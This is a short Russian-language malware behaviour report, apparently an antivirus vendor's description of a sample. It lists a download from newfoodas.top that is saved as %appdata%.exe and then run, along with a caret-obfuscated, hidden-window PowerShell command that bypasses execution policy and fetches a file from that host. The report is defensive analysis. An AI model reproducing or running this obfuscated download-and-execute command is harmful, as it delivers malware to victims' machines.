Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newfoodas.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWeRS^hel^l.eX^e -e^x^eCuTi^on^p^OLICy b^YPAS^S ^-^N^op^R^OfiLe -wInDoWs^tyLE^ Hi^DdE^N^ (New-oB^Jec^T ^s^YsTE^M.Net.w^Ebc^L^I^ENt).^do^W^nl^oA^DFI^l^e('http://newfoodas....
Сетевая активность
UDP
- DNS ASK ne###odas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWeRS^hel^l.eX^e -e^x^eCuTi^on^p^OLICy b^YPAS^S ^-^N^op^R^OfiLe -wInDoWs^tyLE^ Hi^DdE^N^ (New-oB^Jec^T ^s^YsTE^M.Net.w^Ebc^L^I^ENt).^do^W^nl^oA^DFI^l^e('http://newfoodas....' (со скрытым окном)
